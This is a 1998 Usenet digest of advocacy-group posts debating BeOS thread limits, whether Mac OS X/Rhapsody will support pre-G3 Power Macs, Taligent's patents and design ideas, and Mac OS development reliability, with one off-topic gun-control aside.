--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Message-ID: <35B401A5.56C5@cyberdude.com>
From: Jean-Baptiste Queru <djaybee@cyberdude.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com> <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu> <6p0me6$qrb$1@nntp2.ba.best.com> <Pine.BOS.3.96.980720194737.225A-100000@fbnp> <6p0u15$28f$1@nntp2.ba.best.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Tue, 21 Jul 1998 02:49:02 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 19:49:02 PDT
Organization: InReach Internet
> It was somewhere above 200 (230?) with StyledEdit. NetPositive
> seemed to barf with less than that for some reason. My system is
> a PowerTower Pro 225, 128MB of RAM. I can go get exact numbers
> for R3 if you'd like.
You've hit the 256-thread limit in the app_server. An app cannot
have more than 256 threads running simultaneously, and since
every window creates a thread in the app_server...
(No need to file a bug for this one, it's already known).
(Note also that there's a thread leak in the app_server when
an app with off-screen bitmaps that accept BViews crashes.
This was fixed in 3.1)
--
Jean-Baptiste "Djaybee" QUERU
djaybee@cyberdude.com
BeDevId: E-1145
For every complex problem, there is a
solution that is simple, neat, and wrong.
Date: Tue, 21 Jul 1998 08:27:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Message-ID: <joe.ragosta-2107980827300001@0.0.0.0>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com>
In article
<Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com>,
Corey <corey@virtual-impact.com> wrote:
> On 21 Jul 1998, Kenneth C. Dyke wrote:
>
> >
> > Actually, in this case it's just a matter of allowing more control over
> > thread setup, which seems simple enough to me. I'm not sure why it
> > hasn't been done yet, since this problem was reported at least as far
> > back as DR8 or so. It (or a related bug) got marked as 'will not fix'
> > if I remember right. You can draw your own conclusions from that I
> > guess.
> >
>
> Why the hell wouldn't they want to fix that? Interesting, and a bit
> disapointing.
I wouldn't be surprised if Be is in a hurry to get a final, working OS out
the door. A lot of issues are going to get pushed aside until the major
issues are resolved and the OS is ready for everyday consumer use.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 07:31:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p1g49$dh3$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com> <MPG.101d9ceeeab350e89899d4@news.supernews.com>
In article <MPG.101d9ceeeab350e89899d4@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> If you were convinced that Apple had a 50% chance of completely going
> down the tubes if they try to expand OS-X to cover all PowerMacs, would
> you ask them to do so?
No, I wouldn't because I care about Apple's survival. But really, it's
Apple's job to go the extra mile to build customer loyalty not my job to
understand why they can't deliver on their promises. I won't buy a new Mac
until Mac OS X has been shipping for at least a year and some customers are
going to be less understanding.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 21 Jul 1998 08:05:26 GMT
Organization: IBM.NET
On Mon, 20 Jul 1998 13:14:49, don.brown@cesoft.com (Donald Brown)
thought aloud:
> In article <6ou5gk$kfk$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca
> says...
> > In article <35b26dbb.0@news.depaul.edu>,
> > Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >
> > > Caveat Emptor.
> > >
> > > You'd have a better case if you'd *paid* for a 'next generation'
> > > operating system which you'd never received. You did not.
With all due respect, people who bought '97 PCI Power Macintoshes to
be ready for Rhapsody (Premiere at Q1 '98, Unified at mid-98) paid for
Rhapsody-ready hardware; from Apple - the sole source for Macintosh
computers and the OS software that operates them. People paid for the
compatibility and now expect that the upcoming modern OS works on
those Power Macintoshes.
> > I'm not saying that I want to sue them, all I'm saying is that they lied to
> > us. Lying to your customers isn't a good way of developing a solid brand name
> > and customer loyalty.
>
> Do you draw any distinction between "lied to" and "were wrong"?
>
> When those things were told to you, Apple was quite convinced it would
> happen. They were sure Copland was a done deal...and then discovered
> that it just wouldn't work and they couldn't make it work.
Rhapsody is going to ship; version 1.0 as Mac OS X Server and version
2.0 as Mac OS X.
> Apple was later sure that Rhapsody was the done deal and the future.
> This one, they had the technology right and it's working, but it turned
> out to be the wrong solution and not what people would want.
>
> In this part at least, Apple was telling you what they really believed
> and did their best to accomplish those plans. They failed. You
> apparently wish they had given up, or at least took what they could do
> and expand it until it would become another Copland.
How do you know they "did their best to accomplish those
(compatibility) plans", or that "they failed"? Apple has keenly
avoided giving any specific reasons for not supporting pre-G3
hardware. Tell me, what was/were the main obstacle(s) they couldn't
overcome despite their best efforts?
What is your motivation to cover Apple's butt in this matter anyhow?
Would a more aggressive YellowBox proliferation have negative effects
on your business? Just curious.
Brgds,
--
taiQ
[this space is intentionally blank]
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple houses licensing company for Taligent patents?
Date: 20 Jul 98 17:06:35
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul20170635@slave.doubleu.com>
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com>
In-reply-to: "Ed Deans."'s message of Sun, 19 Jul 1998 10:12:42 GMT
In article <uEjs1.692$E5.5085028@proxye1.san.rr.com>,
"Ed Deans." <eadeans@san.rr.com> writes:
All this talk about "People, Places and Things" prompted me to look
around and see what I could find.
<http://www.otlc.com/patents/page1.htm>
Object Technologies Licensing Corporation's contact address is as follows:
One Infinite Loop
Mail Stop 38-OTL
Cupertino, California 95014.
A quick domain name lookup reveals they're physically on N. DeAnza
Blvd nearby (same zip code--unknown if this is an Apple facility or
what). The admin. has an AOL address.
At first blush this is bizarre. I would have thought IBM would
have taken over the Taligent patent portfolio when Taligent because
a wholly-owned subsidiary and then was absorbed completely into
IBM. Apparently not.
Just FYI, there's a facility across De Anza from Apple which has a
Taligent sign, the logo, and IBM is on the sign. It's like _right_
across the street,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: View from the trenches
Message-ID: <1998072102582700.WAA16893@ladder01.news.aol.com>
Date: 21 Jul 1998 02:58:27 GMT
Organization: AOL http://www.aol.com
References: <35B39750.DC508489@cisco.com>
As regards the gun control issue.
It is simply impossible for a gun to kill a person unless some person was
negligent in loading, storing or handling the weapon.
Switzerland requires all able-bodied men from the age of 18 to 50 on call with
an assault rifle and 20 rounds (may be more now) of ammunition stored at home
(total reserve of 650,000 or so). Naturally all are required to participate in
reserve training and to have served a time on active duty.
There's been a study recently published which notes that violence goes done
when concealed carry laws are enacted--the NRA has been shopping it around,
details at their site, I'm sure.
Now, back to computers--anyone seen the new Princeton LCD monitors with the
speaker apertures which look like a shotgun blast?
I can't think of very many aesthetic innovations in computers since the release
of the NeXT Cube, the Mitsubishi Amity SP, the iMac, Zip/Jaz/Ditto drives
(though I wish the color coordination on the latter trio was better).
Although it's to be hoped that Apple will continue to innovate in terms of its
interface, I see little hope for such.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Tue, 21 Jul 1998 18:14:25 +1000
Organization: University of Queensland
Message-ID: <6p1ill$6s3$1@bunyip.cc.uq.edu.au>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com>
Earl Malmrose <malmrose@nospam.jetcity.com> wrote in message
6p1hlq$f44$2@news10.ispnews.com...
>kcd@babylon5.jumpgate.com (Kenneth C. Dyke) :
>>
>> Honestly? Well, 1024+ windows didn't seem to be a problem, and I had
>> plenty of memory and CPU power to go..... my OS doesn't require 2x
>> physical memory's worth of swap space right off the bat, I can have as
>> many threads or semaphores or ports as I have memory for as far as I
>> know, etc.
>
>Are you implying that BeOS requires "2x physical memory's worth of swap
space
>right off the bat"?
Well, you can't set the swap to *less* than that, although if you physically
don't have that much space on your BeOS partition it might use less.
>
>--
>--Woohoo, this message posted from BeOS!
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 02:49:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p0vj5$ksq$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net>
In article <joe.ragosta-2007981850280001@elk61.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> So obsolete that it has lower TCO and higher productivity than any form of
> Windows.
That's right, set your technological target as low as you can.
> It's possible to intentionally mess up any system. What matters is how the
> system works in real life.
But the Mac OS can be messed up really easily without intent. I remember that
in one of the last issues of d e v e l o p there was a discussion about how
some Macintosh programs unintentionally initialize strings from address zero.
Fortunately, the exception vector happens to be there and it has some
addresses with leading zero bytes. Apple had to back away from a planned
change in Copland because of this. When developing Macintosh software you
expect a lot of crashes and hope that you fix all the problems before you
ship your product. Of course you can't fix all of the problems and that's
where the Mac OS lets you down (and in development which can be really
frustrating).
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Tue, 21 Jul 1998 08:37:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2107980837590001@0.0.0.0>
References: <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net> <35B3AE2D.4D90@earthlink.net>
In article <35B3AE2D.4D90@earthlink.net>, skellener@earthlink.net wrote:
> Joe Ragosta wrote:
> > Why is that wrong? Every indication is that the 7300 will run Rhapsody
> > just fine.
>
> But while Mac OS X Server is really Rhapsody 1.0, ...since they changed
> the name, they can say that only G3's are supported.
Not true. Rhapsody 1.0 (Mac OS Server) will run on x500, x600, and the
7300, as well as all G3s.
Mac OS X (aka Rhapsody 2.0) may not.
So, it's incorrect to say that Rhapsody won't run on a 7300.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 21 Jul 1998 08:40:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2107980840590001@0.0.0.0>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162>
In article <B1D93BDE-E7B9B@206.165.43.162>, "Lawson English"
<english@primenet.com> wrote:
> Donald Brown <don.brown@cesoft.com> said:
>
> >OS-X is a gamble. It's a hell of a project to pull off. The survival of
> >the company depends on it.
>
>
>
> Bull. OS-X is Rhapsody with a new kernel running on a single family of
> processors and motherboards with a few new low-level APIs running on top of
> that kernel (most/most of which are the low-level APIs that the Yellow Box
> framework itself will be using).
And an entirely new set of APIs (Carbon).
And a new driver architecture.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Mon, 20 Jul 1998 21:44:42 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6p0vct$9qn$1@holly.prod.itd.earthlink.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <atticus-1907981919040001@user-38lcdcg.dialup.mindspring.com> <35b2b37e.0@blushng.jps.net> <6ouel5$q2d$1@holly.prod.itd.earthlink.net> <35B35EB7.3435@betabreakers.com>
Josiah Fizer wrote in message <35B35EB7.3435@betabreakers.com>...
>Pinochet wrote:
>> >I gues Unreal is Windows killer app as thats about the only thing I
>>>cant do on my other computers.
>> Well, Unreal does a good job of killing Disk Space.....
>yes but hard drives are getting biger so us programers dont NEED to
>build small well built apps, right?
Yeah, as the technology increases, the demand on it goes up even
faster.. Scary...
Date: Tue, 21 Jul 1998 08:45:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Distribution: world
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-2107980845350001@0.0.0.0>
References: <6or4sj$83a$1@supernews.com> <6p03ce$ll7@btmpjg.god.bel.alcatel.be> <6p04sa$m82$1@msunews.cl.msu.edu> <35B39750.DC508489@cisco.com> <6p0l66$h58$1@camel29.mindspring.com>
In article <6p0l66$h58$1@camel29.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
> In article <6p03ce$ll7@btmpjg.god.bel.alcatel.be> Ralf Suckow,
> suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de writes:
> >It's OK to say that if you are american. It seems to me that most
> >people in the U.S.A. do think this way. But if you look at countries
> >like germany, where normal people don't have the right to own a gun,
> >much less people are killed each year (don't remember exactly, for germany
> >something like 3 times less per 1 Mio citizens - who knows the
> >exact numbers?).
>
> The exact numbers are something like 14 million civilians murdered by the
> German government this century.
>
Please. Let's be specific.
By a _former_ German government.
I have some German friends and they're quite sensitive to the criticism of
actions that occurred long before they were born.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 21 Jul 1998 08:52:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Distribution: world
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2107980852210001@0.0.0.0>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6p111m$h87$1@unlnews.unl.edu>
In article <6p111m$h87$1@unlnews.unl.edu>, Greg Berigan
<gberigan@cse.unl.edu> wrote:
> >> Therefore Apple lied.
>
> Failure to honor a promise isn't lying, but it isn't something easily
> tolerated either.
>
> I've stuck with Apple even after purchasing the Apple IIe and Apple
> IIgs. I bought Mac software before I even had a Mac to run it. When I
> finally bought one, I got the 7500. I was sold on the PCI bus, PPC
> processor, and especially the upgradeability.
>
> But if upgrading this machine with a G3 processor still won't get me Mac
> OS X, leaving me out of not only a new OS but also a whole new family of
> programs which require that environment, I'm not sure if I'll be able to
> bring myself to buy Apple anymore.
Let's see. So you've been using Macs for 14 years. According to most
studies, Macs are around $3,000 per year lower in TCO than Windows (not
even counting the huge productivity gains). Heck, we'll even use
_Microsoft's_ figures and say the difference is only $1,500 (of course,
that's for Win95--presumably the number was greater for Win3.1 and DOS).
So, you've saved $21,000 dollars in TCO by using Macs, plus an additional
gain in productivity. You're going to just walk away from that?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <uEjs1.692$E5.5085028@proxye1.san.rr.com> <6otg65$25pc$1@piglet.cc.uic.edu> <6ott0v$apk$1@ash.prod.itd.earthlink.net> <UXAs1.1037$E5.5742353@proxye1.san.rr.com> <900978926.987177@kelp.mbay.net> <nFUs1.1386$E5.6629976@proxye1.san.rr.com> <35B41A4B.893D7DB0@alum.mit.edu> <8VVs1.1395$E5.6686139@proxye1.san.rr.com> <35B43AB1.BEF87B7B@alum.mit.edu>
Subject: Re: OPENSTEP vs. Taligent (Re: Apple houses licensing company for Taligent patents?)
Message-ID: <OwYs1.1407$E5.6777760@proxye1.san.rr.com>
Date: Tue, 21 Jul 1998 08:43:26 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 01:43:26 PDT
Organization: TWC Road Runner, San Diego, CA
Eric Hermanson wrote in message <35B43AB1.BEF87B7B@alum.mit.edu>...
>Ed Deans. wrote:
>
>> Wouldn't you like to see an object-based file system instead of the
>>creaky HFS (even with HFS+)?
>
>If I remember correctly, that was the one cool thing about Taligent. I
>seem to remember them working on an incremental compiler that
>worked with the OO file system and allowed you to compile (and/or
> lock) single lines of code. It sort of provided a built-in source code
> control system and it might have proven to be
>helpful on projects with large #'s of developers working on the same code.
That sounds about right.
>> Wouldn't you like to have a document and task centric
>> model?
>
>I don't think that's very hard to achieve with OpenStep (i.e. MacOSX).
The point is it's not being implemented or wasn't already implemented in
OpenStep.
>> Wouldn't you like to retain (or exceed) the ease of development
>> performance present with OpenStep? Wouldn't you like every
>> tool/app/editor/etc. to support collaboration without the programmer
>> having to go through considerable effort to build that functionality in?
>
>That's what Services, published bundle API's, and standards are for.
>OpenStep currently manifests all of these things. Again, if Apple
>really wanted to do a better job on collaborative tools, they simply
>need to decide to do so, and go for it (given the current API's, these
>things would be easy to implement).
Again, it's not implemented. Potentially being able to implement something
doesn't help. Are these things you think Apple ought to do?
>> Wouldn't you like to never had to deliberately Save a document again
>> because revisions are retained automatically, because changes are
>> journaled automatically? Etc., etc.
>
>Every change I ever make is catalogued? On disk? Infinite undo? Sounds
>like a useless concept! Not to mention the gigabytes of disk space I
>would need to achieve this journaling. What am I missing here?
It's no where as bad you seem to think. I didn't say infinite undo. AFAIK,
the ability to undo operations did not persist across sessions. I've never
found it useless although I wish you could undo in a non-contiguous fashion.
I don't know why you think it would take gigabytes of disk space. Just how
big are your documents?
Journaling has become a common method to keep temp documents in progress (at
least in word processors although perhaps not graphics apps). If the system
crashes it lets the editor recover gracefully. In a paper-based world, you
don't have to "save" your document everytime you make a change and you can
revise it quite a bit especially if it's in pencil. Objects should be
persistant.
I'm pretty sure the modern office suites use this journalling technique. It
would be no worse than those--Smartsuite would probably be the closest as it
supports multiple editor (the people kind) revision--only you wouldn't have
to add that support through great manual effort.
As a quick experiment, I checked to see how big Word 97's temp files were.
For a 56 page document (text only) the saved document was 179K, the temp
file with about 10 pages of text was 71K. 30%'s not a bad price to pay if
it means your documents and changes would survive through a crash of the
editor of the OS.
>> These are just some of the things Taligent was trying to accomplish and
>> successful or not, it had vision beyond what we've got in today's
>> systems. BeOS, OS/2, Windows, Mac OS and OPENSTEP for Mach
>> included.
>>
>> [Eric's personal opinion that Taligent's design was bad]
>
>It think it _was_ bad. The _design_ was bad. The ideas may or may not have
>been good, but that amounts to analysis, not design. And their
>_implementation_ was absolutely horrible.
No comment.
--Ed.
From: ayufbaykuh@bayust.cowm
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 01:41:22 -0700
Message-ID: <ayufbaykuh-2107980141380001@192.168.0.2>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <6p0vj5$ksq$1@nnrp1.dejanews.com>
\H;P~1w0O+wJq\]fy=yWGLWBIsnq-L7<(<bD6#1Wwuz(fd2tH)r8l'q|U
In article <6p0vj5$ksq$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>But the Mac OS can be messed up really easily without intent. I remember that
>in one of the last issues of d e v e l o p there was a discussion about how
>some Macintosh programs unintentionally initialize strings from address zero.
>Fortunately, the exception vector happens to be there and it has some
>addresses with leading zero bytes. Apple had to back away from a planned
>change in Copland because of this. When developing Macintosh software you
>expect a lot of crashes and hope that you fix all the problems before you
>ship your product.
Oh, but you *do* fix all of the problems. The significant ones, at least,
or your application simply doesn't run.
> Of course you can't fix all of the problems
Very likely not, but I put forth my best efforts...
> and that's
>where the Mac OS lets you down (and in development which can be really
>frustrating).
...and I don't abdicate responsibility to the operating system to goop
over any deficiencies I may have as a developer. The Mac OS has never let
me down. It's simply far less forgiving of stupid mistakes during
development, and I'd like to think I'm a better developer for the
experience.
I really don't understand all this talk about frustration. Some
nincompoop at Sierra who finally made his way into my killfile kept
blathering about that ad nauseum. I'd wager he couldn't get arrested at
MacHack, but he thought he was very clever writing loops that placed zeros
in memory location zero onward.
I digress, however. I suppose frustration comes to those who debug their
code by running it over and over again while crossing their fingers. I
find it's much better to reason out the problem and fix it. Some problems
are stickier than others, of course; I've had problems that would stymie
far better developers than I, the Kons and Bals of the world, but
fortunately, it's the aforementioned stupid mistakes that are the most
common.
If developers don't care for responsibility, perhaps they'd be better
suited as computer industry journalists. It's not as though we'll ever
have enough Dvoraks and Bersts, y'know. ;)
--
"When future historians write about us, if they base their
conclusions on whatever material goods survive from Present-Day
America, we will undoubtedly stand alone among nations and be known
forevermore as "THOSE WHO CHOSE CHEESE." - Frank Zappa
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 23:13:05 -0400
Organization: none
Message-ID: <id_est-2007982313050001@192.168.1.3>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com>
In article <see-below-2007981842580001@dynamic53.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
>
> > Michael M. Eilers <not@a.valid.email.add> wrote:
>
> I totally agree. If a Mac has a PowerPC processor, PCI slots, ADB,
> SCSI...what does a G3 Mac have that older Macs lack? If all new G3 Macs
> had USB but no ADB or serial, FireWire but no SCSI, 66MHz PCI and AGP, or
> whatever, then I'd see the point, but as it is there's really no
> distinction between a "G3 PowerMac" and any other PCI PowerMac or
> compatible.
The distinction is that the chips that control things like the the SCSI,
PCI, ADB, Video, memory and other things ARE different. (the memory
controller differences are the reason that G3's can't maintain the
contents of a RAM disk through a restart and others can). There is nothing
"inferior" about earlier PCI macs (they are a little more expensive to
make but that is not the point) but they are different and require that
drivers be written and tested (a lot of these are written but have not
been fully tested yet). The issue to me seems to be just one of time and
resources. Not being intimately familiar with exactly how much time and
effort it would take to complete and test a full set of drivers for this
hardware I am not prepared to say whether Apple is doing this maliciously
or merely to stick to a schedule.
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 21 Jul 1998 08:57:50 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <6p1l6e$11l$1@news2.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 21 Jul 1998 08:57:50 GMT
"Christopher Smith" <drsmithy@usa.net> :
> Earl Malmrose <malmrose@nospam.jetcity.com> wrote in message
> 6p1hlq$f44$2@news10.ispnews.com...
> >kcd@babylon5.jumpgate.com (Kenneth C. Dyke) :
> >>
> >> Honestly? Well, 1024+ windows didn't seem to be a problem, and I had
> >> plenty of memory and CPU power to go..... my OS doesn't require 2x
